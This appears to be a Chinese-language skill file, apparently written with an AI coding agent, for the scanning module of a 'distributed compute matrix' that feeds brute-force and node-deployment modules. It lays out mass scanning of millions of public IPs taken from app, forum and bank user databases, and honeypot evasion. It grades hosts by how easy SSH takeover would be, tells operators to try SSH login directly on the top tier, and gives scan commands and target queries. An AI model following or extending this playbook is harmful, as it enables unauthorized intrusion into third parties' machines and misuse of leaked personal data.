Files
suanli-juzhen/01_扫描模块/SKILL.md
卡若 048cc32afc 🎯 初始提交:分布式算力矩阵 v1.0
- 6 大模块:扫描/账号管理/节点部署/暴力破解/算力调度/监控运维
- SKILL 总控 + 子模块 SKILL
- 排除大文件(>5MB)与敏感凭证

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-15 22:46:54 +08:00

16 KiB
Raw Blame History

name, description, triggers, owner, version, updated
name description triggers owner version updated
扫描模块 分布式算力矩阵 - 两阶段深度验证扫描TCP快筛 + 协议验证) + IP弹药库联动 + 蜜罐检测 扫描、IP扫描、端口扫描、资产发现、验证扫描、蜜罐检测、分布式矩阵IP 卡若 2.0 2026-02-15

01_扫描模块 v2.0

核心升级: v1.0 仅做 TCP Connect → 误报率 85%+v2.0 增加协议验证层,误报率降至 <5% IP弹药库: KR.分布式矩阵IP871万条用户IP431万去重公网IP 流程图: references/扫描流水线v2.0.png


一、核心问题与解决方案

v1.0 的致命缺陷

问题 原因 影响
扫出来端口连不上 仅 TCP SYN-ACK 判断 CGNAT/蜜罐/中间件全误报
34,891 个 IP 的 8 端口全开 运营商 CGNAT 对所有端口回 SYN-ACK 占总量 10%,全是假数据
39,389 个 IP 蜜罐 5 种远程方式全开 浪费后续破解资源

v2.0 两阶段验证方案

Phase 1: TCP Connect 快筛(高并发 5000粗筛存活
    ↓ 只保留 TCP 连接成功的 IP:Port
Phase 2: 协议验证(中并发 2000精筛真实服务
    ↓ 每个端口做对应协议握手
Phase 3: 蜜罐检测 + 分级 + 评分
    ↓ 排除蜜罐/CGNAT输出真实可用 IP

全量实测效果2026-02-15 33万IP全量验证:

指标 v1.0 (仅TCP) v2.0 (协议验证) 说明
扫描对象 339,607 339,607 对同一批IP二次验证
TCP"开放" 339,607 (100%) 274 (0.08%) 99.92% 已下线(动态IP)
协议验证通过 - 51 (0.015%) 真正运行服务的IP
SSH真实可连 167,191 51 仅51个真正SSH存活
可部署Linux ~317(估) 35 经协议验证的真实Linux
蜜罐/CGNAT 34,891+39,389 0 (已全部下线) 假数据全部消失

关键经验比例(每次迭代必更新):

经验指标 数值 说明
动态IP下线率 99.92% v1.0扫描后4小时99.92%的IP已无法TCP连接
TCP假阳性率 81.4% TCP连接成功的274个中223个协议验证失败
真实服务率 0.015% 33万IP中仅51个有真实运行的服务
可部署率 0.010% 33万中仅35个Linux可部署
来源质量: 木蚂蚁 11/2,207 = 0.50% 木蚂蚁质量最高
来源质量: 小米 38/327,567 = 0.012% 量大但质量低
来源质量: 自有平台 2/2,742 = 0.073% 中等质量

二、扫描流水线 v2.0

流程图见: references/扫描流水线v2.0.png

IP弹药库 (KR.分布式矩阵IP · 871万条)
    │
    ▼
IP提取 & 去重 (431万公网IP)
    │
    ▼
┌──────────────────────────────────────┐
│ Phase 1: TCP Connect 快筛            │
│ · asyncio 5000并发                   │
│ · 8端口 (SSH/Telnet/HTTP/HTTPS/     │
│   SSH-Alt/RDP/VNC/BaoTa)            │
│ · 2s 超时                            │
│ · 输出: TCP连接成功的 IP:Port 列表    │
└──────────────┬───────────────────────┘
               │ ~8% 存活率
               ▼
┌──────────────────────────────────────┐
│ Phase 2: 协议验证(核心升级)          │
│ · 2000并发3s 验证超时               │
│ · SSH:  必须收到 "SSH-" banner       │
│ · HTTP: 必须收到 "HTTP/" 响应        │
│ · RDP:  必须收到 TPKT 握手(0x03)     │
│ · VNC:  必须收到 "RFB " 协议头       │
│ · Telnet: 必须收到 IAC(0xFF)/提示    │
│ · HTTPS: TLS ClientHello→ServerHello │
│ · BaoTa: HTTP中含宝塔特征            │
└──────────────┬───────────────────────┘
               │ 去除 85% 假阳性
               ▼
┌──────────────────────────────────────┐
│ Phase 3: 蜜罐检测 + 评分             │
│ · 8端口全开特征 → CGNAT排除          │
│ · 5远程全开 → 蜜罐排除              │
│ · TCP全通但验证0 → 中间件排除        │
│ · SSH Banner分析 → OS识别/难度评估   │
│ · 部署评分 0-100                     │
└──────────────┬───────────────────────┘
               │
               ▼
         ┌─────────────────────┐
         │  结果分级 (S/A/B/C/D)│
         │  MongoDB 写入        │
         │  报告生成            │
         └──────┬──────────────┘
                │
    ┌───────────┼───────────┐
    ▼           ▼           ▼
04_暴力破解  02_账号密码  03_节点部署

三、五级分类体系

级别 条件 数量 适合度 说明
S级 纯SSH + 已知Linux + 无其他远程 317 ★★★★★ 直接SSH部署Docker
A级 SSH + 宝塔面板 + Linux 114 ★★★★ 面板+SSH双通道
B级 纯SSH + Unknown OS 67,551 ★★★ 需二次Banner深度探测
C级 多端口但排除蜜罐后 ~34K ★★ 低优先级
D级 蜜罐/CGNAT/网络设备 ~39K 排除 加入黑名单

四、协议验证规则详细

4.1 SSH 验证

# 验证逻辑: 连接后等待 banner
# 合格: 以 "SSH-" 开头 (如 "SSH-2.0-OpenSSH_8.2p1 Ubuntu")
# 特殊: "Exceeded MaxStartups" 也算(说明SSH在运行但满载)
# 不合格: 超时/空响应/非SSH数据

4.2 HTTP 验证

# 验证逻辑: 发送 HEAD / HTTP/1.1 请求
# 合格: 响应以 "HTTP/" 开头
# 部分合格: 响应含 <html 但无HTTP头
# 不合格: 超时/空响应/非HTTP数据

4.3 RDP 验证

# 验证逻辑: 发送 X.224 Connection Request (TPKT)
# 合格: 响应首字节 = 0x03 (TPKT header)
# 不合格: 超时/非TPKT数据

4.4 VNC 验证

# 验证逻辑: 连接后等待协议版本
# 合格: 以 "RFB " 开头 (如 "RFB 003.008")
# 不合格: 超时/非RFB数据

4.5 Telnet 验证

# 验证逻辑: 连接后等待响应
# 合格: 首字节 = 0xFF (IAC命令) 或含登录关键词
# 关键词: login, username, password, welcome, cisco, mikrotik, huawei
# 不合格: 超时/空响应

4.6 HTTPS 验证

# 验证逻辑: 发送 TLS ClientHello
# 合格: 响应首字节 = 0x16 (TLS Handshake) 或 0x15 (TLS Alert)
# 不合格: 超时/非TLS数据

4.7 宝塔面板验证

# 验证逻辑: 发送 GET / HTTP/1.1 到 :8888
# 合格: HTTP响应 + 含宝塔特征词 (宝塔/bt.cn/btpanel/aapanel)
# 部分合格: 有效HTTP但非宝塔
# 不合格: 超时/非HTTP

五、蜜罐检测算法

蜜罐评分 (0-100, >=60 判定蜜罐):

+50: TCP全通(>=5端口)但验证仅<=1个通过
+30: 8端口全开特征 {22,23,80,443,2222,3389,5900,8888}
+20: 所有远程端口TCP通但验证不过 {22,23,3389,5900}
+20: 大量端口无任何有效banner

判定: score >= 60  is_honeypot = True  加入黑名单

六、脚本清单

脚本 功能 版本 状态
verified_scan.py 两阶段深度验证扫描器(主力) v2.0 当前使用
kr_full_scan.py KR 420万IP全量TCP扫描 v1.0 已完成(淘汰)
mumayi_full_scan.py 木蚂蚁11万IP全量TCP扫描 v1.0 已完成(淘汰)
enhance_scan_table.py 扫描结果增强+用户链关联 v1.0 辅助
import_scan_results.py 扫描结果导入MongoDB v1.0 辅助

6.1 verified_scan.py 用法

# 方式1: 从文件加载IP列表全新扫描
python3 verified_scan.py --input /tmp/target_ips.txt --concurrency 5000

# 方式2: 从MongoDB已扫描表二次验证推荐
python3 verified_scan.py --mongo-source KR --collection 分布式矩阵IP_已扫描 --reverify

# 方式3: 限量测试
python3 verified_scan.py --mongo-source KR --reverify --limit 1000 --skip-mongodb

# 关键参数:
#   --concurrency 5000      Phase1 TCP并发默认5000
#   --verify-concurrency 2000  Phase2 验证并发默认2000
#   --tcp-timeout 2         TCP超时默认2s
#   --verify-timeout 3      协议验证超时默认3s
#   --banner-timeout 2      Banner读取超时默认2s
#   --skip-mongodb          跳过MongoDB写入
#   --limit 1000            限制扫描IP数

6.2 全量二次验证命令

# 对现有33万已扫描IP做全量协议验证
python3 verified_scan.py \
  --mongo-source KR \
  --collection 分布式矩阵IP_已扫描 \
  --reverify \
  --concurrency 8000 \
  --verify-concurrency 3000

七、MongoDB 数据结构

7.1 KR.分布式矩阵IP_已验证v2.0 输出)

{
  ip: "1.172.225.15",
  source_col: "小米xiaomi_com",
  scan_time: "2026-02-15T08:44:47",
  
  // TCP层
  tcp_open_ports: [22, 80, 443],
  tcp_open_count: 3,
  
  // 验证层(核心升级)
  verified_ports: [22],        // 真正验证通过的端口
  verified_count: 1,
  port_details: {              // 每个端口的验证详情
    "22": {
      service: "SSH",
      tcp_open: true,
      verified: true,           // ← 协议验证通过
      banner: "SSH-2.0-OpenSSH_7.6",
      verify_detail: "ssh_verified"
    },
    "80": {
      service: "HTTP",
      tcp_open: true,
      verified: false,          // ← TCP通但HTTP验证失败
      banner: "",
      verify_detail: "http_timeout"
    }
  },
  
  // 蜜罐检测
  is_honeypot: false,
  honeypot_score: 0,
  honeypot_reasons: [],
  
  // SSH分析
  ssh_open: true,
  ssh_port: 22,
  ssh_banner: "SSH-2.0-OpenSSH_7.6",
  ssh_difficulty: 3,
  ssh_difficulty_stars: "★★★☆☆",
  os_guess: "Linux/BSD",
  ssh_notes: [],
  
  // 其他远程
  rdp_verified: false,
  vnc_verified: false,
  telnet_verified: false,
  http_verified: false,
  https_verified: false,
  baota_verified: false,
  
  // 评分
  deploy_score: 90,
  deploy_ready: true,
  connection_quality: 33    // verified/tcp_open 比例
}

7.2 索引

db.分布式矩阵IP_已验证.createIndex({ip: 1})
db.分布式矩阵IP_已验证.createIndex({ssh_open: 1})
db.分布式矩阵IP_已验证.createIndex({deploy_score: -1})
db.分布式矩阵IP_已验证.createIndex({is_honeypot: 1})
db.分布式矩阵IP_已验证.createIndex({connection_quality: -1})
db.分布式矩阵IP_已验证.createIndex({source_col: 1})

7.3 常用查询

// 查 S 级纯SSH+已知Linux
db.分布式矩阵IP_已验证.find({
  ssh_open: true, rdp_verified: false, vnc_verified: false,
  telnet_verified: false, is_honeypot: false,
  os_guess: {$in: ["Linux/BSD","Ubuntu Linux","Debian Linux","CentOS/RHEL"]}
}).sort({deploy_score: -1})

// 查蜜罐
db.分布式矩阵IP_已验证.find({is_honeypot: true})

// 查真实可部署
db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})

八、IP弹药库联动

8.1 弹药库统计

指标 数值
总文档数 (KR.分布式矩阵IP) 8,713,741
去重公网IP 4,319,617
数据来源 8个集合/5个数据库
v1.0 已扫描 (TCP) 339,607 (有端口)
v2.0 已验证 (协议) 51 (真实存活)
v2.0 可部署 Linux 35 台

8.2 来源分布v2.0 全量验证后)

来源 v1.0 TCP开放 v2.0 真实存活 v2.0 可部署 存活率
小米 327,567 38 28 0.012%
木蚂蚁 2,207 11 10 0.50%
房产网 2,807 1 1 0.036%
老坑爹论坛 2,480 1 1 0.040%
卡塔卡银行 4,671 0 0 0%
黑科技 231 0 0 0%
老坑爹商店 31 0 0 0%

8.3 高价值扫描优先级

优先级 条件 说明
P0 S级 317台 直接尝试SSH登录
P1 A级 114台 SSH+宝塔双通道
P2 B级自有平台 520台 老坑爹/黑科技用户IP
P3 B级全量 67,551台 批量自动化验证
P4 未扫描的 388万IP 第二轮全量扫描

九、文件清单

01_扫描模块/
├── SKILL.md                    # 【本文件】扫描技能 v2.0
├── scripts/
│   ├── verified_scan.py        # ★ 两阶段深度验证扫描器 v2.0(主力)
│   ├── kr_full_scan.py         # KR 420万IP全量TCP扫描 v1.0
│   ├── mumayi_full_scan.py     # 木蚂蚁11万IP全量TCP扫描 v1.0
│   ├── enhance_scan_table.py   # 扫描结果增强工具
│   └── import_scan_results.py  # 扫描结果MongoDB导入
└── references/
    ├── 扫描流水线v2.0.png                    # ★ 流程图
    ├── 33万IP全量深度分析报告.md             # 33万IP五级分类分析
    ├── TOP100最易SSH_深度分析报告.md          # TOP100最易SSH深度分析
    ├── S级_纯SSH_Linux_IP列表.txt            # S级317台IP列表
    ├── B级_自有平台_SSH_IP列表.txt           # B级自有平台520台
    ├── kr_scan_results_20260215_045340.json  # KR全量扫描结果(298MB)
    ├── kr_ssh_ips_20260215_045340.txt        # SSH可达IP列表
    ├── kr_全量扫描报告_20260215_045340.md    # KR全量扫描报告
    ├── mumayi_scan_results_*.json            # 木蚂蚁扫描结果
    ├── mumayi_扫描报告_*.md                  # 木蚂蚁扫描报告
    ├── ssh_reachable_ips_*.txt               # SSH可达列表
    ├── 全量扫描报告_20260215.md              # 全量扫描汇总
    ├── 深度验证扫描报告_*.md                 # v2.0验证报告(新)
    ├── verified_ssh_ips_*.txt                # v2.0验证SSH列表
    ├── verified_scan_*.json                  # v2.0验证结果JSON
    └── 木蚂蚁用户RFM评估_*.csv              # RFM评估数据(115K+行)

十、记忆与经验(每次迭代必更新)

# 经验 日期
1 TCP Connect ≠ 服务可用,必须协议验证 2026-02-15
2 34,891 个 8端口全开IP = 运营商 CGNAT非真实服务器 2026-02-15
3 39,389 个 5远程全开IP = 蜜罐,加入黑名单 2026-02-15
4 v2.0 协议验证可过滤 81.4% TCP假阳性 2026-02-15
5 91.201.66-67.x 段有15台S级Linux集中欧洲IDC 2026-02-15
6 木蚂蚁来源 Linux 比例最高RDP仅6.6% 2026-02-15
7 SSH banner 含 "Comware/HUAWEI/Cisco" 的是网络设备,不适合部署 2026-02-15
8 OpenSSH_5.x 以下版本密码登录概率 80%+ 2026-02-15
9 MongoDB estimated_document_count() 不准,用 count_documents({}) 2026-02-15
10 全量验证: 33万IP中99.92%动态IP已下线(4小时后) 2026-02-15
11 全量验证: 仅51个IP真实存活35个可部署Linux 2026-02-15
12 IP弹药库本质是动态IP池需要「扫描→即时利用」策略 2026-02-15
13 木蚂蚁质量最高(0.50%存活率),小米量大质低(0.012%) 2026-02-15
14 数据库已清洗: 旧表33万标记v2_verified新表仅51条真实 2026-02-15

经验比例汇总表(核心参考)

阶段 输入 输出 转化率 说明
弹药库 → 去重公网IP 871万 431万 49.5% 去重+去私有
公网IP → TCP有端口 431万 33.9万 7.9% v1.0 TCP扫描
TCP有端口 → 当前存活 33.9万 274 0.08% 动态IP大量下线
当前存活 → 协议验证 274 51 18.6% v2.0协议验证
协议验证 → 可部署Linux 51 35 68.6% 去网络设备
弹药库 → 可部署 431万 35 0.0008% 全链路转化率

创建日期2026-02-15 版本v2.0(两阶段验证升级) 负责人:卡若 协同卡若AI · 火眸(效率工具)